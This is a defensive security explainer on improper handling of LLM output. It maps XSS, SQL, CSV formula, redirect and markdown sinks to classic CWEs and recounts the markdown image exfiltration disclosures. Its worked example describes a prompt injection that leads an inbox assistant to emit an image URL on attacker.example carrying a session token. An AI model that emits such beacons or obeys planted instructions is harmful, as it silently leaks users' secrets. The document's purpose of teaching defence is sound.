LLM10: Improper Output Handling
If you have tested web apps, you already know every bug in this path: XSS, SQL injection, template injection, SSRF, path traversal. The only new part is where the input comes from. Teams escape what users type, then trust what the model writes because their own code asked for it. But the model's reply is shaped by whatever it read: a ticket, a review, a web page, an uploaded file. We work seven kinds of sink against live targets, from a chat view that leaks a token through an image URL to a YAML loader that runs code on the server. The fix is the one you already know. Treat the output as untrusted input and handle it for the sink it lands in.
Prompt injection is about what goes into the model. Improper output handling is about what the application does with what comes out. A language model is a non-deterministic text generator that an attacker can influence - through the prompt, through retrieved content, through anything in its context. So the moment its output leaves the model, it is untrusted input to whatever consumes it next.
The bug is almost always the same shape: the application forgot that the next thing to read the output is an interpreter. A chat client renders markdown - so an image URL is a network request and a link is a click target. A frontend uses innerHTML 'for rich formatting' - so a tag is executable markup. A report opens in a spreadsheet - so a cell starting with '=' is a formula. A database runs the generated query - so concatenated text is SQL. A backend parses an ACTION block - so a sentence is a command.
Going deeper— CWE mapping: same injections, new source
Every sink in the explainer maps to a classic injection CWE: innerHTML is CWE-79 (Cross-site Scripting), concatenated SQL is CWE-89 (SQL Injection), formula-leading CSV cells are CWE-1236 (Improper Neutralization of Formula Elements in a CSV File), and unvalidated redirect URLs are CWE-601 (URL Redirection to Untrusted Site). The vulnerability class is identical -- the only novelty is the injection source. Traditional injection comes from user-controlled HTTP parameters; here it comes from an LLM whose output the developer assumed was safe because the AI wrote it.
MITRE ATLAS captures the upstream half as AML.T0051 (LLM Prompt Injection) and the downstream impact through technique chains that land at the classical CWE. The OWASP LLM Top 10 (2026) separates LLM01 (Prompt Injection) from LLM10 (Improper Output Handling) precisely because the fix for each lives in a different layer: LLM01 is about controlling the input to the model; LLM10 is about encoding the output for the sink. If your threat model only covers LLM01, every sink in this list is an unmitigated residual.
Here is the attack in practice. An inbox assistant holds a per-session token in context and replies in markdown. An attacker's message asks for an image in the reply, with the session id placed in the image address. The model emits a markdown image whose src is https://attacker.example/p.png?id=<token>. The client auto-loads it. The token leaves over an ordinary GET before the user has read anything - zero clicks, no refusal triggered, because the model never refused: it just formatted a reply.
Going deeper— The markdown exfiltration disclosure timeline
Johann Rehberger documented the markdown image exfiltration class across multiple LLM products in 2023. His initial disclosure to OpenAI (April 2023) showed that ChatGPT rendered attacker-controlled markdown images, enabling zero-click data exfiltration via the auto-loaded src URL. The same primitive was independently confirmed on Google Bard, Microsoft Bing Chat (now Copilot), and several plugin-enabled assistants.
OpenAI began mitigating the ChatGPT issue in December 2023, about eight months after the April report. The mitigation was a validation check on an image URL, made before the client rendered the image. That put the control at the renderer, on the output side, and not in the prompt. The placement matters because the steering text does not have to come from the user. Greshake et al. showed that instructions planted in content an application retrieves can steer its model. The paper is "Not What You've Signed Up For: Compromising Real-World LLM-Integrated Applications with Indirect Prompt Injection" (AISec 2023).
The same move wears many costumes: a one-click markdown link, a <script> through innerHTML, a stored summary that re-renders on every feed load, a =HYPERLINK cell in a CSV, a concatenated SQL string carrying a token in a trailing comment, an open-redirect button, a JSON blob with an extra escalation_code field, an ACTION block the backend executes. Different sink, identical root cause: model output reached an interpreter without being encoded, validated, or gated for that sink.
Notice what does not fix this: a better prompt. You can tell the model 'never put a token in a URL' or 'always parameterize,' and a crafted message, a poisoned document, or simple model error will defeat it. The output is untrusted regardless of how the model was instructed, because an attacker upstream can shape it. The fix has to live in the code that consumes the output.
Treat model output exactly like user input: untrusted, attacker-influenceable, and dangerous until encoded for its destination. Encode for the sink, validate against a schema or allowlist, and gate any action in code. The model proposes; your code disposes.
Model output is untrusted input to whatever reads it next - a markdown renderer, an HTML sink, a SQL engine, a spreadsheet, a URL bar, a JSON parser, a workflow executor.
The vulnerability is a missing encode/validate step between the model and a downstream interpreter, not anything the model 'decided' to do - it just formatted a reply.
Encode for the specific sink: text-render markdown, allowlist-sanitize HTML, parameterize SQL, escape CSV formula leaders, validate URLs and JSON against an allowlist and schema.
Put a deterministic authorization gate between output and any side effect, and keep secrets out of context so there is nothing to fold into a beacon in the first place.
In 2023, security researcher Johann Rehberger demonstrated that ChatGPT (and later other assistants and plugins) would render markdown images in its responses, and that an indirect prompt injection - hidden in a web page or document the model browsed - could instruct it to emit an image whose URL embedded the user's conversation data. The client auto-loaded the image, silently exfiltrating that data to an attacker-controlled server over a single GET request, with no click required. The same primitive was reported in other LLM products, including Google Bard and Microsoft Bing Chat (now Copilot), as image-rendering features shipped. Vendors mitigated it by restricting or proxying image URLs and applying a content-security policy to outbound image loads - an output-handling fix, not a prompt fix.
© 2026 GenAI Security Lab. All rights reserved. You may read, quote, and link to this material with attribution. Copying, republishing, redistribution, resale, or use to train models or build competing products is prohibited without prior written permission.